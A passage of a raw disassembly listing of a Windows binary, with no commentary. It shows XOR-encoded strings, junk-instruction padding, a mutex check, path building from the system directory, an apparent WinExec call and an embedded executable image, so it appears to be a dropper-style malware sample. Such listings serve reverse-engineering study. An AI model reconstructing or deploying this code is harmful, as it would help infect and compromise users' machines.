		mov	ds:1000400Ch, eax
		mov	edi, ds:10004004h
		or	edi, edi
		jz	short loc_43C7E5
		push	0
		push	edi
		call	sub_43CD34
		add	esp, 8

loc_43C7E5:				; CODE XREF: sub_43C76C+6Cj
		mov	edi, ds:1000400Ch
		or	edi, edi
		jz	short loc_43C7FF
		push	0
		push	edi
		call	sub_43CD34
		add	esp, 8
		call	sub_43C804

loc_43C7FF:				; CODE XREF: sub_43C76C+81j
		pop	edi
		leave
		retn
sub_43C76C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43C804	proc near		; CODE XREF: sub_43C76C+8Ep

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_C], 0
		call	sub_43CC50
		mov	ebx, eax
		mov	[ebp+var_10], ebx
		jmp	short loc_43C841
; ---------------------------------------------------------------------------

loc_43C820:				; CODE XREF: sub_43C804+45j
		cmp	byte ptr ds:0[ebx], 3Dh
		jz	short loc_43C82D
		inc	[ebp+var_C]

loc_43C82D:				; CODE XREF: sub_43C804+24j
		mov	edi, ebx
		xor	eax, eax
		stc
		sbb	ecx, ecx
		repne scasb
		neg	ecx
		lea	eax, [ecx-2]
		mov	edi, eax
		inc	edi
		lea	ebx, [ebx+edi]

loc_43C841:				; CODE XREF: sub_43C804+1Aj
		cmp	byte ptr ds:0[ebx], 0
		jnz	short loc_43C820
		mov	edi, [ebp+var_C]
		inc	edi
		lea	edi, ds:0[edi*4]
		mov	[ebp+var_14], edi
		push	[ebp+var_14]
		call	sub_43CD04
		pop	ecx
		mov	[ebp+var_8], eax
		mov	ds:10004010h, eax
		cmp	[ebp+var_8], 0
		jnz	short loc_43C874
		xor	eax, eax
		jmp	short loc_43C8EA
; ---------------------------------------------------------------------------

loc_43C874:				; CODE XREF: sub_43C804+6Aj
		mov	ebx, [ebp+var_10]
		jmp	short loc_43C8CD
; ---------------------------------------------------------------------------

loc_43C879:				; CODE XREF: sub_43C804+D1j
		mov	edi, ebx
		xor	eax, eax
		stc
		sbb	ecx, ecx
		repne scasb
		neg	ecx
		lea	eax, [ecx-2]
		mov	edi, eax
		inc	edi
		mov	[ebp+var_4], edi
		cmp	byte ptr ds:0[ebx], 3Dh
		jz	short loc_43C8C7
		push	[ebp+var_4]
		call	sub_43CD04
		pop	ecx
		mov	esi, [ebp+var_8]
		mov	ds:0[esi], eax
		or	eax, eax
		jnz	short loc_43C8B0
		jmp	short loc_43C8EA
; ---------------------------------------------------------------------------

loc_43C8B0:				; CODE XREF: sub_43C804+A8j
		push	ebx
		mov	edi, [ebp+var_8]
		push	dword ptr ds:0[edi]
		call	sub_43CD58
		add	esp, 8
		add	[ebp+var_8], 4

loc_43C8C7:				; CODE XREF: sub_43C804+91j
		mov	edx, [ebp+var_4]
		lea	ebx, [ebx+edx]

loc_43C8CD:				; CODE XREF: sub_43C804+73j
		cmp	byte ptr ds:0[ebx], 0
		jnz	short loc_43C879
		mov	edx, [ebp+var_8]
		mov	dword ptr ds:0[edx], 0
		mov	eax, 1

loc_43C8EA:				; CODE XREF: sub_43C804+6Ej
					; sub_43C804+AAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43C804	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43C8F0	proc near		; CODE XREF: sub_43C99A+22p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_4], 181h
		push	esi
		push	[ebp+arg_0]
		mov	eax, ds:10004098h
		lea	eax, ds:10002000h[eax]
		push	eax
		call	sub_43CD10
		add	esp, 0Ch
		xor	edi, edi
		jmp	short loc_43C939
; ---------------------------------------------------------------------------

loc_43C91F:				; CODE XREF: sub_43C8F0+4Bj
		mov	eax, ds:10004098h
		add	eax, edi
		lea	eax, ds:10002000h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 0D9h
		mov	[eax], dl
		inc	edi

loc_43C939:				; CODE XREF: sub_43C8F0+2Dj
		cmp	edi, esi
		jl	short loc_43C91F
		mov	[ebp+var_8], 389h
		mov	eax, ds:10004098h
		add	eax, esi
		mov	byte ptr ds:10002000h[eax], 0
		xor	edi, edi
		mov	edi, ds:10004098h
		add	dword ptr ds:10004098h,	3
		mov	eax, ds:10004098h
		lea	eax, [eax+esi+4]
		mov	ds:10004098h, eax
		inc	dword ptr ds:10004098h
		cmp	dword ptr ds:10004098h,	0DB6h
		jle	short loc_43C989
		and	dword ptr ds:10004098h,	0

loc_43C989:				; CODE XREF: sub_43C8F0+90j
		mov	[ebp+var_C], 9Ch
		lea	eax, [edi+10002000h]
		pop	edi
		pop	esi
		leave
		retn
sub_43C8F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43C99A	proc near		; CODE XREF: .data:0043CB33p

var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		lea	edi, [ebp+var_5]
		lea	esi, ds:1000409Ch
		xor	ecx, ecx
		inc	ecx
		rep movsb
		call	sub_43CC8C
		push	5
		push	100040BDh
		call	sub_43C8F0
		add	esp, 8
		push	eax
		push	0
		push	1F0001h
		call	sub_43CCB0
		mov	[ebp+var_4], eax
		or	eax, eax
		jz	short loc_43C9F5
		mov	[ebp+var_C], 4FA1h
		inc	[ebp+var_C]
		push	eax
		call	sub_43CC68
		mov	[ebp+var_E], 6C6Dh
		inc	[ebp+var_E]
		xor	eax, eax
		inc	eax

loc_43C9F5:				; CODE XREF: sub_43C99A+3Cj
		pop	edi
		pop	esi
		leave
		retn
sub_43C99A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43C9F9	proc near		; CODE XREF: .data:0043CB67p

var_10A		= byte ptr -10Ah
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		call	sub_43CC44
		call	sub_43CC74
		mov	ecx, edi
		or	eax, 0FFFFFFFFh

loc_43CA17:				; CODE XREF: sub_43C9F9+23j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43CA17
		mov	ebx, eax
		mov	[ebp+var_6], bx
		mov	ax, [ebp+var_6]
		mov	[ebp+var_2], ax
		jmp	short loc_43CA4C
; ---------------------------------------------------------------------------

loc_43CA2E:				; CODE XREF: sub_43C9F9+59j
		movzx	eax, [ebp+var_2]
		cmp	byte ptr [edi+eax], 5Ch
		jnz	short loc_43CA48
		call	sub_43CC38
		inc	[ebp+var_2]
		call	sub_43CC8C
		jmp	short loc_43CA54
; ---------------------------------------------------------------------------

loc_43CA48:				; CODE XREF: sub_43C9F9+3Dj
		dec	[ebp+var_2]

loc_43CA4C:				; CODE XREF: sub_43C9F9+33j
		movzx	eax, [ebp+var_2]
		or	eax, eax
		jg	short loc_43CA2E

loc_43CA54:				; CODE XREF: sub_43C9F9+4Dj
		mov	ax, [ebp+var_2]
		cmp	ax, [ebp+var_6]
		jnb	short loc_43CA92
		mov	[ebp+var_4], 0
		jmp	short loc_43CA80
; ---------------------------------------------------------------------------

loc_43CA66:				; CODE XREF: sub_43C9F9+97j
		movzx	eax, [ebp+var_4]
		movzx	edx, [ebp+var_2]
		mov	ecx, eax
		add	ecx, edx
		mov	dl, [edi+ecx]
		mov	[ebp+eax+var_10A], dl
		inc	[ebp+var_4]

loc_43CA80:				; CODE XREF: sub_43C9F9+6Bj
		movzx	eax, [ebp+var_4]
		movzx	edx, [ebp+var_6]
		movzx	ecx, [ebp+var_2]
		sub	edx, ecx
		cmp	eax, edx
		jle	short loc_43CA66

loc_43CA92:				; CODE XREF: sub_43C9F9+63j
		mov	esi, 6BBCh
		add	esi, 7D41h
		lea	eax, [ebp+var_10A]
		push	eax
		call	sub_43CCA4
		call	sub_43CC98
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43C9F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43CAB3	proc near		; CODE XREF: .data:0043CBBAp

var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	esi
		push	edi
		call	sub_43CC44
		push	100040BBh
		push	[ebp+arg_0]
		call	sub_43CD4C
		add	esp, 8
		lea	edi, [ebp+var_8]
		lea	esi, ds:1000409Dh
		movsd
		movsd
		pop	edi
		pop	esi
		leave
		retn
sub_43CAB3	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 21Ch
		push	esi
		push	edi
		mov	ax, ds:100040A5h
		mov	[ebp-217h], ax
		mov	eax, ds:10004094h
		add	eax, 698h
		push	eax
		call	sub_43CD40
		mov	byte ptr [ebp-100h], 84h
		sub	byte ptr [ebp-100h], 68h
		mov	eax, ds:10004090h
		mov	edx, eax
		add	edx, 5
		push	edx
		mov	edx, 0Fh
		sub	edx, ds:10004094h
		push	edx
		mov	edx, 4
		sub	edx, eax
		push	edx
		call	sub_43C99A
		add	esp, 10h
		or	eax, eax
		jz	short loc_43CB47
		xor	eax, eax
		inc	eax
		jmp	loc_43CBF0
; ---------------------------------------------------------------------------

loc_43CB47:				; CODE XREF: .data:0043CB3Dj
		push	104h
		lea	eax, [ebp-205h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_43CC5C
		call	sub_43CC44
		lea	eax, [ebp-205h]
		push	eax
		call	sub_43C9F9
		mov	byte ptr [ebp-101h], 1Bh
		add	byte ptr [ebp-101h], 1
		lea	edi, [ebp-215h]
		lea	esi, ds:100040A7h
		mov	ecx, 4
		rep movsd
		push	0FFh
		lea	eax, [ebp-0FFh]
		push	eax
		call	sub_43CC80
		mov	eax, ds:100040B7h
		mov	[ebp-21Bh], eax
		call	sub_43CC44
		call	sub_43CC38
		lea	eax, [ebp-0FFh]
		push	eax
		call	sub_43CAB3
		call	sub_43CC8C
		lea	eax, [ebp-215h]
		push	eax
		lea	eax, [ebp-0FFh]
		push	eax
		call	sub_43CD4C
		add	esp, 10h
		push	1
		lea	eax, [ebp-0FFh]
		push	eax
		call	sub_43CCC8
		call	sub_43CC74
		xor	eax, eax
		inc	eax

loc_43CBF0:				; CODE XREF: .data:0043CB42j
		pop	edi
		pop	esi
		leave
		retn	0Ch
; ---------------------------------------------------------------------------
		align 4
		dd 243CD950h, 0F24048Bh, 82434BAh, 240C8166h
		db 0, 2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CC1B

loc_43CC0A:				; CODE XREF: sub_43CC1B+Dj
		fldcw	word ptr [esp+4+var_4]
		pop	ecx
		mov	al, ah
		and	eax, 3
		retn
; END OF FUNCTION CHUNK	FOR sub_43CC1B
; ---------------------------------------------------------------------------
		dd 243CD950h
		db 58h,	0EBh, 0F3h

; =============== S U B	R O U T	I N E =======================================



sub_43CC1B	proc near		; CODE XREF: .data:loc_43C749p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043CC0A SIZE 0000000A BYTES

		push	eax
		fnstcw	word ptr [esp+4+var_4]
		mov	eax, [esp+4+var_4]
		or	word ptr [esp+4+var_4],	300h
		jmp	short loc_43CC0A
sub_43CC1B	endp

; ---------------------------------------------------------------------------
		align 4
		dd 50E825FFh, 90901000h, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43CC38	proc near		; CODE XREF: sub_43C9F9+3Fp
					; .data:0043CBAEp
		jmp	dword ptr ds:100050ECh
sub_43CC38	endp

; ---------------------------------------------------------------------------
		dw 9090h
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43CC44	proc near		; CODE XREF: sub_43C9F9+Fp
					; sub_43CAB3+7p ...
		jmp	dword ptr ds:100050F0h
sub_43CC44	endp

; ---------------------------------------------------------------------------
		dw 9090h
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43CC50	proc near		; CODE XREF: sub_43C804+10p
		jmp	dword ptr ds:100050F4h
sub_43CC50	endp

; ---------------------------------------------------------------------------
		dw 9090h
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43CC5C	proc near		; CODE XREF: .data:0043CB56p
		jmp	dword ptr ds:100050F8h
sub_43CC5C	endp

; ---------------------------------------------------------------------------
		dw 9090h
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43CC68	proc near		; CODE XREF: sub_43C99A+49p
		jmp	dword ptr ds:100050FCh
sub_43CC68	endp

; ---------------------------------------------------------------------------
		dw 9090h
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43CC74	proc near		; CODE XREF: sub_43C9F9+14p
					; .data:0043CBE8p
		jmp	dword ptr ds:10005100h
sub_43CC74	endp

; ---------------------------------------------------------------------------
		dw 9090h
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43CC80	proc near		; CODE XREF: .data:0043CB99p
		jmp	dword ptr ds:10005104h
sub_43CC80	endp

; ---------------------------------------------------------------------------
		dw 9090h
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43CC8C	proc near		; CODE XREF: sub_43C99A+16p
					; sub_43C9F9+48p ...
		jmp	dword ptr ds:10005108h
sub_43CC8C	endp

; ---------------------------------------------------------------------------
		dw 9090h
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43CC98	proc near		; CODE XREF: sub_43C9F9+B0p
		jmp	dword ptr ds:1000510Ch
sub_43CC98	endp

; ---------------------------------------------------------------------------
		dw 9090h
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43CCA4	proc near		; CODE XREF: sub_43C9F9+ABp
		jmp	dword ptr ds:10005110h
sub_43CCA4	endp

; ---------------------------------------------------------------------------
		dw 9090h
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43CCB0	proc near		; CODE XREF: sub_43C99A+32p
		jmp	dword ptr ds:10005114h
sub_43CCB0	endp

; ---------------------------------------------------------------------------
		dw 9090h
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43CCBC	proc near		; CODE XREF: sub_43C622+13p
		jmp	dword ptr ds:10005118h
sub_43CCBC	endp

; ---------------------------------------------------------------------------
		dw 9090h
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43CCC8	proc near		; CODE XREF: .data:0043CBE3p
		jmp	dword ptr ds:1000511Ch
sub_43CCC8	endp

; ---------------------------------------------------------------------------
		dw 9090h
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43CCD4	proc near		; CODE XREF: sub_43C76C+33p
					; sub_43C76C+45p ...
		jmp	dword ptr ds:10005128h
sub_43CCD4	endp

; ---------------------------------------------------------------------------
		dw 9090h
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43CCE0	proc near		; CODE XREF: sub_43C76C+Bp
					; sub_43C76C+17p ...
		jmp	dword ptr ds:1000512Ch
sub_43CCE0	endp

; ---------------------------------------------------------------------------
		dw 9090h
		dd 0
		dd 513025FFh, 90901000h, 0
		dd 513425FFh, 90901000h, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43CD04	proc near		; CODE XREF: sub_43C804+58p
					; sub_43C804+96p
		jmp	dword ptr ds:10005138h
sub_43CD04	endp

; ---------------------------------------------------------------------------
		dw 9090h
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43CD10	proc near		; CODE XREF: sub_43C8F0+23p
		jmp	dword ptr ds:1000513Ch
sub_43CD10	endp

; ---------------------------------------------------------------------------
		dw 9090h
		dd 0
		dd 514025FFh, 90901000h, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43CD28	proc near		; CODE XREF: .data:0043C728p
		jmp	dword ptr ds:10005144h
sub_43CD28	endp

; ---------------------------------------------------------------------------
		dw 9090h
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43CD34	proc near		; CODE XREF: sub_43C76C+71p
					; sub_43C76C+86p
		jmp	dword ptr ds:10005148h
sub_43CD34	endp

; ---------------------------------------------------------------------------
		dw 9090h
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43CD40	proc near		; CODE XREF: .data:0043CB01p
		jmp	dword ptr ds:1000514Ch
sub_43CD40	endp

; ---------------------------------------------------------------------------
		dw 9090h
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43CD4C	proc near		; CODE XREF: sub_43CAB3+14p
					; .data:0043CBD2p
		jmp	dword ptr ds:10005150h
sub_43CD4C	endp

; ---------------------------------------------------------------------------
		dw 9090h
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43CD58	proc near		; CODE XREF: sub_43C804+B7p
		jmp	dword ptr ds:10005154h
sub_43CD58	endp

; ---------------------------------------------------------------------------
		dw 9090h
		dd 14h dup(0)
		dd 2 dup(1), 7Ch dup(0)
		dd 10001536h, 5	dup(0)
		dd 7325h, 720077h, 1Ch dup(0)
		dd 2, 0Ch, 0
		dd 3B4E2A00h, 734D3E5Ah
		db 0, 4Bh, 0
aMjanfj32	db 'Mjanfj32',0         ; DATA XREF: sub_403C5F+2C0o
aJklmno		db 'jklmno',0
aAy		db 'Ay&',0
		db '\',0
aTtii		db '',0
		align 4
		dd 4Fh dup(0)
		dd 5070h, 2 dup(0)
		dd 52F8h, 50E8h, 50B0h,	2 dup(0)
		dd 5340h, 5128h, 12h dup(0)
		dd 515Ch, 516Ch, 5184h,	519Ch, 51B8h, 51D0h, 51E0h, 51F4h
		dd 520Ch, 521Ch, 522Ch,	5240h, 5250h, 525Ch, 2 dup(0)
		dd 5268h, 5274h, 5288h,	5294h, 52A0h, 52ACh, 52B8h, 52C4h
		dd 52CCh, 52D8h, 52E0h,	52ECh, 2 dup(0)
		dd 515Ch, 516Ch, 5184h,	519Ch, 51B8h, 51D0h, 51E0h, 51F4h
		dd 520Ch, 521Ch, 522Ch,	5240h, 5250h, 525Ch, 2 dup(0)
		dd 5268h, 5274h, 5288h,	5294h, 52A0h, 52ACh, 52B8h, 52C4h
		dd 52CCh, 52D8h, 52E0h,	52ECh, 0
		dd 78450081h, 72507469h, 7365636Fh, 73h, 654700DEh, 72754374h
		dd 746E6572h, 636F7250h, 49737365h, 64h, 654700E0h, 72754374h
		dd 746E6572h, 65726854h, 64496461h, 0
		dd 654700EDh, 766E4574h, 6E6F7269h, 746E656Dh, 69727453h
		dd 4173676Eh, 0
		dd 6547010Ah, 646F4D74h, 46656C75h, 4E656C69h, 41656D61h
		dd 0
		dd 6C43001Bh, 4865736Fh, 6C646E61h, 65h, 65470124h, 6F725074h
		dd 73736563h, 70616548h, 0
		dd 6547013Fh, 73795374h, 446D6574h, 63657269h, 79726F74h
		dd 41h,	65470155h, 63695474h, 756F436Bh, 746Eh,	6547015Ch
		dd 72655674h, 6E6F6973h, 0
		dd 6C470168h, 6C61626Fh, 41646441h, 416D6F74h, 0
		dd 704F01D2h, 754D6E65h, 41786574h, 0
		dd 7452020Eh, 776E556Ch, 646E69h, 69570298h, 6578456Eh
		dd 63h,	665F0080h, 65706F64h, 6Eh, 6F5F014Fh, 5F6E6570h
		dd 6866736Fh, 6C646E61h, 65h, 6366020Dh, 65736F6Ch, 0
		dd 635F0039h, 74697865h, 0
		dd 616D024Eh, 636F6C6Ch, 0
		dd 656D0254h, 7970636Dh, 0
		dd 7270025Bh, 66746E69h, 0
		dd 61720260h, 657369h, 65730267h, 66756274h, 0
		dd 7273026Fh, 646E61h, 74730271h, 74616372h, 0
		dd 74730275h, 79706372h, 0
aKernel32_dll_0	db 'KERNEL32.DLL',0
		align 10h
		dd 0Eh dup(10005000h), 44545243h, 442E4C4Ch, 4C4Ch, 0Ch	dup(10005014h)
		dd 22h dup(0)
		dd 20h,	0
		dd 20h,	1000h, 1800h, 2000h, 2C00h, 78h	dup(0)
		dd 1000h, 94h, 3086302Bh, 30F730EDh, 310D30FFh,	311B3113h
		dd 31B03121h, 31FD31F0h, 320F3202h, 32243214h, 323F322Ah
		dd 335F32BEh, 33783366h, 339D3381h, 33AF33A6h, 33BB33B5h
		dd 33CA33C4h, 33DC33D0h, 33FF33EAh, 35183410h, 3543352Ch
		dd 356D354Fh, 35DA357Eh, 368635F7h, 369E3692h, 36B636AAh
		dd 36CE36C2h, 36E636DAh, 36FE36F2h, 3716370Ah, 372E3722h
		dd 3746373Ah, 375E3752h, 3776376Ah, 378E3782h, 37A6379Ah
		dd 37B2h, 4000h, 0Ch, 3000h, 5000h, 3Ch, 330C3308h, 33143310h
		dd 331C3318h, 33243320h, 332C3328h, 33343330h, 333C3338h
		dd 3350334Ch, 33583354h, 3360335Ch, 33683364h, 3370336Ch
		dd 33783374h, 4Ah dup(0)
aB		db 0Ah
		db '|B',0
		align 4
aP_0		db '(p',0
		align 4
		dd 3 dup(1), 7030h, 7034h, 7038h, 2E6C6C64h, 6C6C64h, 1536h
		dd 703Ch, 0
a_libmain@12	db '_LibMain@12',0
		dd 6Eh dup(0)
		db 0
byte_43DBA9	db 4Dh,	5Ah, 90h	; DATA XREF: sub_403AA3+10Bo
		dd 300h, 400h, 0FFFF00h, 0B800h, 0
		dd 4000h, 8 dup(0)
		dd 8000h, 0BA1F0E00h, 9B4000Eh,	1B821CDh, 5421CD4Ch, 20736968h
		dd 676F7270h, 206D6172h, 6E6E6163h, 6220746Fh, 75722065h
		dd 6E69206Eh, 534F4420h, 646F6D20h, 0D0D2E65h, 240Ah, 0
		dd 455000h, 4014C00h, 7CA9DF00h, 42h, 0
		dd 0E00E000h, 2010B01h,	1A0037h, 180000h, 20000h, 121900h
		dd 100000h, 300000h, 40000000h,	100000h, 20000h, 100h
		dd 0
		dd 400h, 0
		dd 600000h, 40000h, 0
		dd 200h, 10000000h, 100000h, 10000000h,	100000h, 0
		dd 1000h, 2 dup(0)
		dd 500000h, 97000h, 1Ch	dup(0)
		dd 65742E00h, 7478h, 19A400h, 100000h, 19A400h,	40000h
		dd 3 dup(0)
		dd 2000h, 73622E60h, 73h, 11000h, 300000h, 5 dup(0)
		dd 8000h, 61642EC0h, 6174h, 0DE800h, 400000h, 0DE800h
		dd 1E0000h, 3 dup(0)
		dd 4000h, 64692EC0h, 617461h, 97000h, 500000h, 97000h
		dd 2C0000h, 3 dup(0)
		dd 6000h, 0C0h,	79h dup(0)
		dd 40C03100h, 4244C8Bh,	60441F7h, 74000000h, 24448B0Fh
		dd 24548B08h, 0B8028910h, 3
		db 0C3h

; =============== S U B	R O U T	I N E =======================================



sub_43DFC9	proc near		; CODE XREF: .data:0043E101p
					; .data:0043E12Fp

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_401000
		push	large dword ptr	fs:0
		mov	large fs:0, esp

loc_43DFE6:				; CODE XREF: sub_43DFC9+44j
					; sub_43DFC9+4Aj
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_43E015
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_43E015
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	ecx, [esp+1Ch+var_14]
		mov	ecx, [eax+0Ch]
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_43DFE6
		call	dword ptr [ebx+esi*4+8]
		jmp	short loc_43DFE6
; ---------------------------------------------------------------------------

loc_43E015:				; CODE XREF: sub_43DFC9+2Aj
					; sub_43DFC9+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_43DFC9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43E023	proc near		; CODE XREF: .data:0043E0F4p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset sub_401092
		push	[ebp+arg_0]
		call	sub_43F761
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_43E023	endp

; ---------------------------------------------------------------------------
		db 0FCh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, [ebp+0Ch]
		mov	eax, [ebp+8]
		mov	dword ptr ds:loc_40408C, eax
		mov	dword ptr ds:loc_40408F+1, ebx
		test	dword ptr [eax+4], 6
		jnz	loc_43E128
		mov	[ebp-8], eax
		mov	eax, [ebp+10h]
		mov	[ebp-4], eax
		mov	dword ptr ds:loc_40408F+1, eax
		lea	eax, [ebp-8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]

loc_43E086:				; CODE XREF: .data:0043E11Fj
		cmp	esi, 0FFFFFFFFh
		jz	loc_43E137
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_43E116
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		mov	eax, [ebp-14h]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	dword ptr ds:loc_40402E+2, eax
		mov	edx, [ebp-14h]
		mov	eax, [edx]
		mov	dword ptr ds:loc_404034, eax
		mov	eax, [edx+4]
		mov	dword ptr ds:loc_404034+4, eax
		push	esi
		push	edi
		push	ecx
		mov	ecx, 14h
		lea	edi, loc_404034+8
		mov	esi, dword ptr ds:loc_404034
		rep movsd
		lea	edi, loc_404034+8
		mov	dword ptr ds:loc_404034, edi
		pop	ecx
		pop	edi
		pop	esi
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+0Ch]
		or	eax, eax
		jz	short loc_43E116
		js	short loc_43E124
		mov	edi, [ebx+8]
		push	ebx
		call	sub_43E023
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_43DFC9
		add	esp, 8
		lea	ecx, [esi+esi*2]
		mov	eax, [edi+ecx*4]
		mov	eax, [ebx+0Ch]
		call	dword ptr [edi+ecx*4+8]

loc_43E116:				; CODE XREF: .data:0043E097j
					; .data:0043E0ECj
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	loc_43E086
; ---------------------------------------------------------------------------

loc_43E124:				; CODE XREF: .data:0043E0EEj
		xor	eax, eax
		jmp	short loc_43E199
; ---------------------------------------------------------------------------

loc_43E128:				; CODE XREF: .data:0043E066j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_43DFC9
		add	esp, 0Ch

loc_43E137:				; CODE XREF: .data:0043E089j
		push	0
		mov	dword ptr ds:loc_404010, 0Bh
		push	0Bh
		call	sub_43F905
		add	esp, 8
		or	eax, eax
		jnz	short loc_43E172
		push	0
		mov	dword ptr ds:loc_404010, 8
		push	8
		call	sub_43F905
		add	esp, 8
		or	eax, eax
		jnz	short loc_43E172
		mov	eax, 1
		jmp	short loc_43E199
; ---------------------------------------------------------------------------

loc_43E172:				; CODE XREF: .data:0043E14Fj
					; .data:0043E169j
		cmp	eax, 0FFFFFFFFh
		jz	short loc_43E1A1
		push	eax
		push	dword ptr ds:loc_404010
		call	sub_43F905
		add	esp, 8
		push	dword ptr ds:loc_404010
		call	sub_43F8ED
		add	esp, 4
		mov	eax, 1

loc_43E199:				; CODE XREF: .data:0043E126j
					; .data:0043E170j ...
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_43E1A1:				; CODE XREF: .data:0043E175j
		cmp	dword ptr ds:loc_404029+3, 0
		jnz	short loc_43E1B1
		mov	eax, 1
		jmp	short loc_43E199
; ---------------------------------------------------------------------------

loc_43E1B1:				; CODE XREF: .data:0043E1A8j
		mov	eax, dword ptr ds:loc_404029+3
		push	0Bh
		jmp	eax
; ---------------------------------------------------------------------------
		dw 0B858h
		dd 1, 0A164D7EBh, 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset sub_40401C
		push	offset sub_40109A
		push	eax
		mov	large fs:0, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		push	eax
		fnstcw	word ptr [esp]
		or	word ptr [esp],	300h
		fldcw	word ptr [esp]
		add	esp, 4
		push	0
		push	0
		push	404028h
		push	offset sub_404024
		push	404020h
		call	sub_43F8B1
		push	dword ptr ds:sub_404024+4
		push	dword ptr ds:sub_404024
		push	dword ptr ds:sub_40401C+4
		mov	dword ptr ds:loc_404010+4, esp
		call	sub_43F609
		add	esp, 18h
		xor	ecx, ecx
		mov	[ebp-4], ecx
		push	eax
		call	sub_43F8C9
		leave
